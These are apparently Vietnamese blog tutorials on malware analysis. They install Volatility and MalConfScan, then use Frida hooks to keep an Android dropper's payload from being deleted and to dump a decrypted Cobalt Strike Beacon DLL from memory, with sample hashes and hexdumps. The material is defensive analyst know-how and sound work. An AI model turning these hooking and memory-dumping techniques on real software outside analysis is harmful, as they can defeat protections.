• Download: https://web.archive.org/web/20210106040224/https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi

Cài đặt Pip2

$ curl.exe https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
$ python .\get-pip.py

Download mã nguồn của Volatility Framework

$ git clone --recursive https://github.com/volatilityfoundation/volatility.git

Cài đặt gói virtualenv cho Python 2:

$ pip install virtualenv

Tạo Python Virtual Environments

$ virtualenv.exe -p path\to\your\python.exe vol2
$ .\vol2\Scripts\activate

Cài đặt các dependencies Python Modules

$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson==1.35 pytz ipython

Cài đặt Volatility

$ python .\setup.py build
$ python .\setup.py install

Kiểm tra hoạt động

$ vol.py --info | findstr -i "win10x64"

$ vol.py -f .\sample\triage.mem imageinfo

$ vol.py -f .\sample\triage.mem --profile=Win7SP1x64 pslist

2. Cài đặt Volatility trên Linux Ubuntu/WSL hoặc macOS

Cài đặt Python 2:

$ apt install python python-dev -y
$ python -V
Python 2.7.18

Cài đặt Pip:

$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py -o get-pip.py

$ python get-pip.py

Download mã nguồn:

$ git clone --recursive https://github.com/volatilityfoundation/volatility.git

Cài đặt gói virtualenv

$ pip install virtualenv

Tạo Python Virtual Environments

\( virtualenv -p \)(which python) vol2
$ source vol2/bin/activate

Cài đặt các dependencies Python Modules

$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson pytz ipython

Cài đặt Volatility

$ python setup.py build
$ python setup.py install

Kiểm tra hoạt động

$ vol.py --info | grep -i "win10x64"

$ vol.py --conf-file=sample/volatilityrc linux_banner
$ vol.py --conf-file=sample/volatilityrc linux_pslist

3. Cài đặt bộ plugin MalConfScan cho Volatility

💡 Áp dụng cho Linux, macOS và WSL

MalConfScan là một bộ plugin cho Volatility do JPCERTCC phát triển với chức năng phát hiện và trích xuất cấu hình của những dòng mã độc (Malware Family) đã biết. Bộ plugin này rất hữu dụng cho những người làm công việc phân tích Malware trên bộ nhớ.

Sao chép mã nguồn của MalConfScan từ Github:

$ git clone https://github.com/JPCERTCC/MalConfScan.git

Cài đặt các gói phụ thuộc của MalConfScan

$ pip install -r MalConfScan/requirements.txt

Sao chép các plugin của MalConfScan vào thư mục plugin của Volatility

$ cd MalConfScan
$ cp -R malconfscan.py utils yara ~/volatility/vol2/lib/python2.7/site-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/malware/

Kiểm tra kết quả

$ vol.py --info | grep -i "malconf"

Chạy thử plugin mới cài

$ vol.py --conf-file=sample/volatilityrc linux_malconfscan

4. Đóng gói Volatility với PyInstaller

💡 Áp dụng cho Windows. Phần này độc lập với các phần trước, có thể thực hiện ngay, ko phải thực hiện các bước trước đó.

PyInstaller là một công cụ đóng gói các ứng dụng viết bằng Python thành một tệp duy nhất phù hợp với hệ điều hành mà bạn đang chạy. Sau khi đóng gói, có thể dễ dàng đem tệp thực thi sang các hệ điều hành khác cùng loại để chạy mà không cần phải cài đặt bất cứ thành phần nào của Volatility từ đầu.

Tham khảo hướng dẫn tại đây: https://github.com/volatilityfoundation/volatility/wiki/Compiling-Binaries-with-Pyinstaller

Download mã nguồn của Volatility Framework

$ git clone --recursive https://github.com/volatilityfoundation/volatility.git

Tạo Python Virtual Environments

$ virtualenv.exe -p path\to\your\\python.exe vol2
$ .\vol2\Scripts\activate

Cài đặt các dependencies Python Modules

$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson==1.35 pytz ipython

Cài đặt PyInstaller phiên bản v3.4

$ pip install pyinstaller==3.4

Patching Source của gói OpenPyxl

• Source code trước khi patch

  # Copyright (c) 2010-2019 openpyxl
    
  
  from openpyxl.compat.numbers import NUMPY, PANDAS
  from openpyxl.xml import DEFUSEDXML, LXML
  from openpyxl.workbook import Workbook
  from openpyxl.reader.excel import load_workbook
  import openpyxl._constants as constants
  
  # Expose constants especially the version number
  
  __author__ = constants.__author__
  __author_email__ = constants.__author_email__
  __license__ = constants.__license__
  __maintainer_email__ = constants.__maintainer_email__
  __url__ = constants.__url__
  __version__ = constants.__version__
  

• Source code sau khi patch

  # Copyright (c) 2010-2019 openpyxl
  import json
  import os
  import sys
  
  from openpyxl.compat.numbers import NUMPY, PANDAS
  from openpyxl.xml import DEFUSEDXML, LXML
  from openpyxl.workbook import Workbook
  from openpyxl.reader.excel import load_workbook
  import openpyxl._constants as constants
  
  # Expose constants especially the version number
  
  __author__ = constants.__author__
  __author_email__ = constants.__author_email__
  __license__ = constants.__license__
  __maintainer_email__ = constants.__maintainer_email__
  __url__ = constants.__url__
  __version__ = constants.__version__
  
  here = os.path.abspath(os.path.dirname(__file__))
  if hasattr(sys, '_MEIPASS'):
      here = sys._MEIPASS
  

Tùy chọn: Packed tệp với UPX Packer

• Download tại: https://github.com/upx/upx/releases

• Giải nén và chép tệp upx.exe vào: volatility\vol2\Scripts\

Đóng gói với PyInstaller

$ pyinstaller --onefile pyinstaller.spec

Kiểm tra hoạt động:

$ .\dist\volatility.exe -f .\sample\triage.mem --profile=Win7SP1x64 pstree

Việc phân tích các APK đã bị Packer khá là khó chịu cho người phân tích. Trong phần này sẽ trình bày một cách để Unpack một Android Malware. Mẫu được sử dụng có sẵn trên VirusTotal:

$ file sample.apk
sample.apk: Java archive data (JAR)

$ sha256sum sample.apk
509aa4a846c6cb52e9756a282de67da3e8ec82769bceafa1265428b1289459b3  sample.apk

Kiểm tra nhanh mẫu cần phân tích, tệp APK thực chất là một ZIP File, giải nén tệp này và xem cấu trúc bên trong:

$ tree
.
├── AndroidManifest.xml
├── META-INF
│   ├── CERT.RSA
│   ├── CERT.SF
│   └── MANIFEST.MF
├── MawmjulbcbEndsqku^nd.cml
├── classes.dex
├── res
│   ├── drawable
│   │   └── dcuqizi.xml
│   ├── drawable-hdpi-v11
│   │   └── rahvpxdt.png
...
│   ├── layout
│   │   ├── dialog_web_view.xml
...
│   ├── layout-v17
│   │   └── dialog_web_view.xml
│   └── xml
│       └── qexyvzsh.xml
└── resources.arsc

Kiểm tra nhanh thấy bên trong có tệp MawmjulbcbEndsqku^nd.cml là đáng ngờ, một tệp APK thông thường thì sẽ hiếm khi xuất hiện những tệp kiểu dạng như vậy:

$ file 'MawmjulbcbEndsqku^nd.cml'
MawmjulbcbEndsqku^nd.cml: data

$ exiftool 'MawmjulbcbEndsqku^nd.cml'
ExifTool Version Number         : 10.80
File Name                       : MawmjulbcbEndsqku^nd.cml
Directory                       : .
File Size                       : 285 kB
File Modification Date/Time     : 2018:07:21 04:31:32+07:00
File Access Date/Time           : 2021:05:27 11:20:31+07:00
File Inode Change Date/Time     : 2021:05:27 11:24:04+07:00
File Permissions                : rwxrwxrwx
Error                           : Unknown file type

$ hexdump -C 'MawmjulbcbEndsqku^nd.cml' | head -10
00000000  9e 1c 01 00 e4 cf 0a 73  90 d6 c8 30 5a bc f1 b3  |.......s...0Z...|
00000010  fb 50 8f c8 40 37 a8 0c  54 af 84 6a 9f 5d a8 54  |.P..@7..T..j.].T|
00000020  53 59 a9 ad 2a 33 f6 0b  e7 d9 36 8f 34 39 6e ae  |SY..*3....6.49n.|
00000030  bc 02 36 8c df b2 d7 aa  c0 63 88 81 73 10 dc 8d  |..6......c..s...|
00000040  1b 72 39 fd 81 e3 f3 9c  7c 04 e8 87 26 f2 ce 08  |.r9.....|...&...|
00000050  e2 45 4f 34 24 b5 61 dc  ef fc 2e f2 a7 b2 cb f9  |.EO4$.a.........|
00000060  af 6c ee b9 2e 86 e6 a2  2d 05 35 73 80 73 e3 21  |.l......-.5s.s.!|
00000070  0b d3 1f 34 af d4 5a be  7f 3f a8 fa 0d bd 2d 38  |...4..Z..?....-8|
00000080  15 60 46 a5 36 c2 9c f7  be 6f fa 1c 45 a0 e7 d0  |.`F.6....o..E...|
00000090  3d 14 ef 2c 8d 6f 62 41  07 58 05 0c 4d 32 e0 c8  |=..,.obA.X..M2..|

Như vậy có thể chắc chắn một điều rằng tệp đã bị mã hóa, các trình Detector không thể nhận biết được đây là tập tin loại gì. Chúng ta có thể phỏng đoán App Android trong quá trình khởi chạy nó sẽ đọc tệp này sau đó giải mã ra được Payload cuối và thực thi.

2. Static Analysis

Tệp AndroidManifest.xml là một XML Binary đi kèm bên trong các tệp APK. Nó chứa rất nhiều thông tin về ứng dụng Android:

• Package name của ứng dụng.

• Danh sách các activities, services và receivers

• Danh sách các quyền truy cập của ứng dụng trên thiết bị Android

• Danh sách các action

• Và nhiều thông tin khác nữa

Để đọc được tệp này cũng như mã nguồn của chương trình APK cần một APK Decompiler, tôi sử dụng JADX-GUI:

Hầu hết các strings bên trong đều đã bị Obfuscate:

Điều tương tự cũng xảy ra khi chúng ta cố gắng đọc code của ứng dụng, chúng đều bị obfuscate, gây khó khăn cho phân tích

Từ tên lớp, package, tên các hàm đến các biến strings cũng đều bị obfuscate

Có một nguyên tắc của các trình Packer/Obfuscator là khi các ứng dụng đã được đóng gói trong quá trình chạy (thường là giai đoạn đầu khi chạy) chúng sẽ tiến hành De-Obfuscate dữ liệu. Với các Packer/Obfuscator đơn giản, thường chúng ta nghĩ ngay đến việc kiểm tra các Crypto APIs và tập chung vào dữ liệu vào ra khi gọi các hàm này để biết được khi nào Malware giải mã code gốc. Tuy nhiên trong trường hợp này chúng ta không thấy bất kỳ một thư viện hay APIs nào kiểu như vậy, vì đơn giản chúng đã bị Obfuscate cả rồi.

3. Dynamic Analysis

Sử dụng ADB để kết nối với thiết bị Android. Sau đó dùng trình ghi log là logcat để quan sát ứng dụng ghi log như sau:

vbox86p:/ # logcat | grep 'com.jgnxmcj.knreroaxvi'
...
05-27 05:37:16.094  2219  2219 W dex2oat : /system/bin/dex2oat --runtime-arg -classpath --runtime-arg & --instruction-set=x86 --instruction-set-features=smp,ssse3,-sse4.1,-sse4.2,-avx,-avx2,-lock_add,-popcnt --runtime-arg -Xrelocate --boot-image=/system/framework/boot.art --runtime-arg -Xms64m --runtime-arg -Xmx512m --instruction-set-variant=x86 --instruction-set-features=default --dex-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar --oat-fd=32 --oat-location=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.dex --compiler-filter=speed
05-27 05:37:16.094  2219  2219 I dex2oat : /system/bin/dex2oat --dex-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar --oat-fd=32 --oat-location=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.dex --compiler-filter=speed
...

Chương trình APK này đã tạo ra một tệp JAR mới là /data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar. Sau đó nó convert tệp JAR này thành rzwohkt.dex ở cùng thư mục. Trong Android thì tệp .dex được thực thi bởi Dalvik Virtual Machine và mã nguồn của ứng dụng APK có được sau khi decompile là từ đây. Kiểm tra các tệp này trong thư mục /data/user/0/com.jgnxmcj.knreroaxvi/app_files/ thì không thấy tệp nào là rzwohkt.jar hay rzwohkt.dex như trong logs cả. Rất có thể nó đã bị xóa bởi tác giả của Malware. Nhiệm vụ tiếp theo là làm sao để ngăn chặn chương trình này (Dropper) xóa các tệp .jar hoặc .dex vì rất có thể đây chính là Payload độc cuối mà chúng ta cần đi tìm.

4. Hooking với Frida

Có nhiều cách để ngăn chặn việc xóa tệp trên một ứng dụng, trong phần này chúng ta sẽ sử dụng Frida để hook vào ứng dụng xóa tệp, mục đích vô hiệu hóa hàm xóa tệp. Thông thường nếu ứng dụng không có cơ chế bảo vệ thì chúng ta sẽ hook trực tiếp vào ứng dụng tuy nhiên ứng dụng này của chúng ta đang phân tích đã bị Obfuscated dẫn đến không biết hàm nào sẽ có hành động xóa file để mà hook!. Ý tưởng là chúng ta sẽ hook thẳng vào hàm hệ thống. Với cách này chúng ta không cần quan tâm hàm nào của ứng dụng Android thực hiện xóa file, vì chúng chỉ là các APIs mức cao, bản chất chúng vẫn chỉ gọi lại các api cấp thấp bên dưới. Đầu tiên hãy kiểm tra bằng STRACE, công cụ này có sẵn trên các nền tảng Linux và tất nhiên cũng có sẵn trong Android.

Triển khai mã JavaScript để hook vào hàm unlink():

var unlinkPtr = Module.findExportByName(null, 'unlink');

Interceptor.replace(unlinkPtr, new NativeCallback(function (a) {
    console.log("[+] Unlink : " + Memory.readUtf8String(ptr(a)))
}, 'int', ['pointer']));

Kết quả sau khi thu được Payload:

$ sha256sum rzwohkt.jar rzwohkt.dex
f87d77a6dbc65d64c8c3b7a46413975543d7d58101852b9f8db728c1e6541b37  rzwohkt.jar
d948656d5a68a30e85304023489d186ab94a27e05f62d6a3eac6efd843a1d512  rzwohkt.dex

5. Tham khảo

• How-to Guide: Defeating an Android Packer with FRIDA: https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida

• N Ways to Unpack Mobile Malware: https://pentest.blog/n-ways-to-unpack-mobile-malware/

Trong phân tích Malware thì phương pháp phân tích động được ứng dụng rất nhiều để kiểm tra một chương trình trong quá trình nó thực thi. Thông thường chúng ta nghĩ ngay đến kỹ thuật Debugging, sử dụng một số debugger như là: OllyDbg, x64dbg, WinDbg, GDB, EDB,.v.v.. để tiến hành phân tích. Một cách tiếp cận khác với phương pháp phân tích động đó là sử dụng các Dynamic Binary Instrumentation Frameworks cho phép chúng ta chèn và thực thi các Instrumentation Code (Hook Code) bên trong tiến trình cần phân tích.

Có nhiều Framework như vậy, nổi bật có: Pin, DynamoRIO và Frida. Chúng cho phép hook vào các APIs để quan sát, sửa đổi hay đánh giá đầu vào, đầu ra của chúng. Ưu điểm của các Framework này là tính linh động, hỗ trợ đa nền tảng (Windows, macOS, Linux, Android, iOS,.v.v..). Bài này tôi sẽ sử dụng Frida Framework để tự động hóa một phần trong quá trình Phân tích Malware.

2. Bắt đầu với Frida

Mục tiêu phần này là biết được cách Frida có thể quan sát được các APIs mà Cobalt Strike malware sử dụng. Mẫu được sử dụng có sẵn trên VirusTotal:

$ sha256sum sample1.exe
fe5585dfda44ca136bb2fb383052d03452f34c371a2349be0d0cbb6b07437865 *sample1.exe

$ file sample1.exe
sample1.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

Chúng ta bắt đầu với các APIs liên quan đến thao tác với tệp tin. Qua kiểm tra với CFF Explorer, biết được mẫu có import hàm CreateFileA(), WriteFile(), ReadFile() trong thư viện KERNEL32.dll. Theo tài liệu của Microsoft thì các hàm này được định nghĩa như sau:

• Hàm CreateFileA

  HANDLE CreateFileA(
    LPCSTR                lpFileName,
    DWORD                 dwDesiredAccess,
    DWORD                 dwShareMode,
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD                 dwCreationDisposition,
    DWORD                 dwFlagsAndAttributes,
    HANDLE                hTemplateFile
  );
  

• Hàm WriteFile

  BOOL WriteFile(
    HANDLE       hFile,
    LPCVOID      lpBuffer,
    DWORD        nNumberOfBytesToWrite,
    LPDWORD      lpNumberOfBytesWritten,
    LPOVERLAPPED lpOverlapped
  );
  

• Hàm ReadFile

  BOOL ReadFile(
    HANDLE       hFile,
    LPVOID       lpBuffer,
    DWORD        nNumberOfBytesToRead,
    LPDWORD      lpNumberOfBytesRead,
    LPOVERLAPPED lpOverlapped
  );
  

Các hàm WriteFile(), ReadFile() chỉ sử dụng được sau khi mà đã có được HANDLE của file. Handle này có được khi gọi hàm CreateFileA() và tham số lpFileName trong hàm này chỉ ra tên của tệp. Như vậy để biết được chương trình đang có các hành động thao tác với tệp tin nào thì ta cần hook vào hàm CreateFileA().

var hookCreateFileA = Module.getExportByName(null, "CreateFileA");

Interceptor.attach(hookCreateFileA, {
    onEnter: function(args)
    {
		console.log("\nCreateFileA at: " + hookCreateFileA);		
        console.log("  Name of the File or Device: " + args[0].readAnsiString());
    }
});

$ frida -l .\hooking\hookCreateFileA.js .\sample1.exe --no-pause
...
Spawned `.\sample1.exe`. Resuming main thread!
[Local::sample1.exe]->
CreateFileA at: 0x7ffb08631d20
  Name of the File or Device: \\.\pipe\MSSE-9610-server

Đầu ra này cho chúng ta biết được Malware cài đặt một PIPE (đường ống) để giao tiếp giữa các tiến trình. Định dạng này thường gặp khi phân tích các mẫu Cobalt Strike. Ví dụ: Link1, Link2. Thông thường các mẫu Cobalt Strike được phát hiện chỉ là một Loader, nó sẽ tiến hành tải Beacon Payload từ máy chủ điều khiển hoặc cũng có thể Beacon Payload được Obfuscate và nhúng ngay trong chính tệp thực thi Loader.

3. Cobalt Strike Beacon Extraction

Phân tích các mẫu Cobalt Strike thường sẽ phải trải qua nhiều giai đoạn deobfuscate để có được payload cuối cùng, có thể là một executable hoặc là shellcode và các payload cuối này thường sẽ được thực thi trên bộ nhớ tiến trình chứ không được ghi ra tệp trên ổ cứng. Quá trình này có thể được mô tả ngắn gọn như sau:

1. Cấp phát vùng nhớ

2. Tiến hành giải mã Payload

3. Sao chép Payload đã giải mã vào vùng nhớ mới cấp phát

4. Chuyển luồng thực thi đến vùng nhớ chứa Payload độc.

Để có thể hiểu và nắm được quá trình giải mã dữ liệu sau cùng là có được Beacon Payload đòi hỏi người phân tích phải có kiến thức, kỹ năng về Phân tích tĩnh mã Assembly và Debugging nhất định. Khi nắm được cơ chế giải mã của Malware, chúng ta có thể tự động hóa quy trình này với Frida.

Hệ điều hành Windows hỗ trợ nhiều APIs sử dụng cho việc cấp phát và thao tác với các vùng nhớ. Ở đây tôi sẽ tập chung vào VirtualAlloc() và VirtualProtect(). Hàm VirtualAlloc được dùng để cấp phát bộ nhớ trong một tiến trình còn hàm VirtualProtect dùng để thay đổi thuộc tính vùng nhớ như là các quyền: đọc, ghi, thực thi. Mô tả của 2 hàm này như sau:

• Hàm VirtualAlloc

  LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
  );
  

  • Trong đó:

    • lpAddress: Địa chỉ vùng nhớ sẽ cấp phát. Nếu là NULL thì hệ thống tự động xác định địa chỉ này.

    • dwSize: Kích thước vùng nhớ sẽ cấp phát được tính bằng byte.

    • flAllocationType: Loại bộ nhớ sẽ cấp phát. Ví dụ: MEM_COMMIT, MEM_RESERVE, MEM_RESET,.v.v.. Xem thêm tại: Link

    • flProtect: Thuộc tính bảo vệ vùng nhớ sẽ được cấp phát, được định nghĩa bằng các hằng số. Xem thêm tại: Link

• Hàm VirtualProtect

  BOOL VirtualProtect(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect
  );
  

  • Trong đó:

    • lpAddress: Địa chỉ vùng nhớ cần thay đổi thuộc tính

    • dwSize: Kích thước vùng nhớ cần thay đổi, được tính bằng byte

    • flNewProtect: Thuộc tính mới sẽ áp dụng, là các hằng số được định nghĩa tại: Link

    • lpflOldProtect: Một con trỏ trỏ đến giá trị thuộc tính cũ trước đó.

Nếu phân tích bằng một trình debugger như Ollydbg hay x64dbg, chúng ta có thể đặt các breakpoint tại các hàm VirtualAlloc và VirtualProtect để giám sát sự thay đổi. Trong phần này chúng ta sẽ không làm vậy, thay vào đó tôi sử dụng Frida để làm việc này. Đầu tiên hãy thử nghiệm monitor hai hàm này:

$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
... 
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0x3e0 */
  1812 ms  VirtualAlloc()
  1874 ms     | VirtualAlloc()
  1874 ms  VirtualProtect()
  1874 ms     | VirtualProtect()
           /* TID 0x88c */
  1874 ms  VirtualAlloc()
  1874 ms     | VirtualAlloc()

Frida-Trace tự động sinh ra các handler cho mỗi API, với mỗi API sẽ có một tệp JavaScript. Tiến hành mở các tệp này và sửa nội dung bên trong như sau:

Đối với tệp VirtualAlloc.js

{
		onEnter(log, args, state) {
				log('[*] VirtualAlloc Hooked!');
				log("    Size (bytes): " + args[1].toInt32());
				log("    Protect: " + args[3]);
		},

		onLeave(log, retval, state) {
				log("    VirtualAlloc Returned: " + retval);
		}
}

Đối với tệp VirtualProtect.js

{
		onEnter(log, args, state) {
				log('[*] VirtualProtect Hooked!');
				log("    Address: " + args[0]);
				log("    Size: " + args[1].toInt32());
				log("    NewProtect: " + args[2]);
		},

		onLeave(log, retval, state) {
		}
}

Chạy lại và kiểm tra kết quả

$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0xc90 */
  1157 ms  [*] VirtualAlloc Hooked!
  1157 ms      Size (bytes): 260608
  1157 ms      Protect: 0x4
  1157 ms     | [*] VirtualAlloc Hooked!
  1157 ms     |     Size (bytes): 260608
  1157 ms     |     Protect: 0x4
  1157 ms     |     VirtualAlloc Returned: 0x3590000
  1157 ms      VirtualAlloc Returned: 0x3590000
  1157 ms  [*] VirtualProtect Hooked!
  1157 ms      Address: 0x3590000
  1157 ms      Size: 260608
  1157 ms      NewProtect: 0x20
  1157 ms     | [*] VirtualProtect Hooked!
  1157 ms     |     Address: 0x3590000
  1157 ms     |     Size: 260608
  1157 ms     |     NewProtect: 0x20
           /* TID 0xc6c */
  1282 ms  [*] VirtualAlloc Hooked!
  1282 ms      Size (bytes): 311296
  1282 ms      Protect: 0x40
  1282 ms     | [*] VirtualAlloc Hooked!
  1282 ms     |     Size (bytes): 311296
  1282 ms     |     Protect: 0x40
  1282 ms     |     VirtualAlloc Returned: 0x3290000
  1282 ms      VirtualAlloc Returned: 0x3290000

Nhìn vào kết quả trên có thể thấy được chương trình cấp phát thành công 260608 bytes tại 0x3590000, vùng nhớ này ban đầu được khởi tạo thuộc tính với hằng số 0x4 (PAGE_READWRITE) sau đó được thay đổi thành 0x20 (PAGE_EXECUTE_READ). Vùng nhớ thứ 2 có kích thước 311296 bytes được cấp phát tại 0x3290000 và được khởi tạo với thuộc tính 0x40 (PAGE_EXECUTE_READWRITE). Có một điều dễ nhận ra là đặc điểm chung của các vùng nhớ này khi được cấp phát hay sau khi được thay đổi thuộc tính vùng nhớ thì đều có quyền EXECUTE, đây là một quyền có thể nói là "nhạy cảm". Thông thường một chương trình khi hoạt động, nó xin cấp phát vùng nhớ với các quyền như READ, WRITE là rất bình thường, nhưng với quyền EXECUTE thì cần phải xem xét vì rất có thể là Malware, các vùng nhớ này sau khi được cấp với quyền EXECUTE rất có thể được dùng để ghi một Executable hay Shellcode lên đó và cuối cùng là chuyển luồng thực thi đến vùng nhớ đã ghi Shellcode hoặc Executable. Dựa vào đặc điểm này chúng ta có thể sử dụng Frida để dump vùng nhớ này ra disk, phục vụ mục đích kiểm tra, phân tích sâu hơn ở các giai đoạn sau đó. Trước tiên, chúng ta thử kiểm tra các vùng nhớ này bằng cách sửa mã JavaScript trong các handle file như sau:

Tệp VirtualProtect.js:

{
	onEnter(log, args, state) {
		log('[*] VirtualProtect Hooked!');
		log("    Address: " + args[0]);
		log("    Size: " + args[1].toInt32());
		log("    NewProtect: " + args[2]);
		log("    Hexdump:\n" + hexdump(args[0]));
	},
	
	onLeave(log, retval, state) {
	}
}

$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
Started tracing 4 functions. Press Ctrl+C to stop.
           /* TID 0x374 */
  1157 ms  [*] VirtualAlloc Hooked!
  1157 ms      Size (bytes): 260608
  1157 ms      Protect: 0x4
  1157 ms     | [*] VirtualAlloc Hooked!
  1157 ms     |     Size (bytes): 260608
  1157 ms     |     Protect: 0x4
  1157 ms     |     VirtualAlloc Returned: 0x3550000
  1157 ms      VirtualAlloc Returned: 0x3550000
  1157 ms  [*] VirtualProtect Hooked!
  1157 ms      Address: 0x3550000
  1157 ms      Size: 260608
  1157 ms      NewProtect: 0x20
  1157 ms      Hexdump:
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
03550000  4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48  MZARUH..H.. ...H
03550010  8d 1d ea ff ff ff 48 89 df 48 81 c3 f4 63 01 00  ......H..H...c..
03550020  ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89  ..A....Vh....ZH.
03550030  f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00  ................
03550040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68  ........!..L.!Th
03550050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f  is program canno
03550060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20  t be run in DOS
03550070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  mode....$.......
03550080  8c 6b 6e 52 c8 0a 00 01 c8 0a 00 01 c8 0a 00 01  .knR............
03550090  ae e4 d2 01 50 0a 00 01 56 aa c7 01 c9 0a 00 01  ....P...V.......
035500a0  39 cc cf 01 e1 0a 00 01 39 cc ce 01 40 0a 00 01  9.......9...@...
035500b0  39 cc cd 01 c2 0a 00 01 c1 72 93 01 c3 0a 00 01  9........r......
035500c0  c8 0a 01 01 14 0a 00 01 ae e4 ce 01 fd 0a 00 01  ................
035500d0  ae e4 ca 01 c9 0a 00 01 ae e4 cc 01 c9 0a 00 01  ................
035500e0  52 69 63 68 c8 0a 00 01 00 00 00 00 00 00 00 00  Rich............
035500f0  00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00  ........PE..d...

Cách này có thể áp dụng được với cả hàm VirtualProtect và VirtualAlloc. Nhìn vào kết quả dễ dàng thấy được một số chuỗi như: MZ, This program cannot be run in DOS mode, PE,.v.v.. Điều này cho biết đây là một tệp Executable, ta phỏng đoán đây chính là Cobalt Strike Beacon sau khi đã được giải mã. Thử tiến hành dump vùng nhớ này ra tệp để thu lại mẫu:

Tệp VirtualProtect.js:

{
	onEnter(log, args, state) {
		log('[*] VirtualProtect Hooked!');
		log("    Address: " + args[0]);
		log("    Size: " + args[1].toInt32());
		log("    NewProtect: " + args[2]);
		log("    Hexdump:\n" + hexdump(args[0]));
		if (args[0].readAnsiString(2) == "MZ") {
			log("    Found an MZ!");
			var exeContent = args[0].readByteArray(args[1].toInt32());
			var filename = args[0] + "_dump.bin";
			var file = new File(filename, "wb");
			file.write(exeContent);
			file.flush();
			file.close();
			log("    Success dump file: " + filename);
		}
	},
	
	onLeave(log, retval, state) {
	}
}

Chạy lại và quan sát kết quả:

$ frida-trace -i "VirtualAlloc" -i "VirtualProtect" sample1.exe
Instrumenting...
...
  1157 ms     | [*] VirtualProtect Hooked!
  1157 ms     |     Address: 0x3550000
  1157 ms     |     Size: 260608
  1157 ms     |     NewProtect: 0x20
  1157 ms     |     Hexdump:
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
03550000  4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48  MZARUH..H.. ...H
03550010  8d 1d ea ff ff ff 48 89 df 48 81 c3 f4 63 01 00  ......H..H...c..
03550020  ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89  ..A....Vh....ZH.
03550030  f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00  ................
03550040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68  ........!..L.!Th
03550050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f  is program canno
03550060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20  t be run in DOS
03550070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  mode....$.......
03550080  8c 6b 6e 52 c8 0a 00 01 c8 0a 00 01 c8 0a 00 01  .knR............
03550090  ae e4 d2 01 50 0a 00 01 56 aa c7 01 c9 0a 00 01  ....P...V.......
035500a0  39 cc cf 01 e1 0a 00 01 39 cc ce 01 40 0a 00 01  9.......9...@...
035500b0  39 cc cd 01 c2 0a 00 01 c1 72 93 01 c3 0a 00 01  9........r......
035500c0  c8 0a 01 01 14 0a 00 01 ae e4 ce 01 fd 0a 00 01  ................
035500d0  ae e4 ca 01 c9 0a 00 01 ae e4 cc 01 c9 0a 00 01  ................
035500e0  52 69 63 68 c8 0a 00 01 00 00 00 00 00 00 00 00  Rich............
035500f0  00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00  ........PE..d...
  1157 ms     |     Found an MZ!
  1157 ms     |     Success dump file: 0x3550000_dump.bin
...

Đây thực chất là một Cobalt Strike Beacon DLL:

$ file 0x3550000_dump.bin
0x3550000_dump.bin: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

$ sha256sum 0x3550000_dump.bin
5becedab08e72cb27d0e1f83e666a04109e694883876b1e9c5e718cbca5730f0 *0x3550000_dump.bin

Kết quả kiểm tra sau khi upload mẫu lên VirusTotal cho thấy có khoảng 18/49 engine cũng phát hiện là Cobalt Strike/Beacon:

Và mẫu cũng bị phát hiện bởi nhiều YARA Rules:

Có một lưu ý là các tệp PE được dump từ bộ nhớ xuống thì thường sẽ phải fix lại IAT để có thể hoạt động đúng đắn. Phần này không đi phân tích thêm mẫu Cobalt Strike Beacon DLL đã thu được, mà mục đích chỉ tập chung vào việc ứng dụng Frida để unpacking mẫu, tự động hóa một phần trong quá trình phân tích Malware.

4. Identifying and Extracting Shellcode

Trong phần này sẽ đến với một mẫu khác cũng là Cobalt Strike nhưng Beacon Payload lúc này không phải là một DLL Executable như trước nữa mà là Shellcode. Mẫu có sẵn trên VirusTotal. Đầu tiên thử kiểm tra mẫu với các APIs như mẫu trước là VirtualAlloc và VirtualProtect

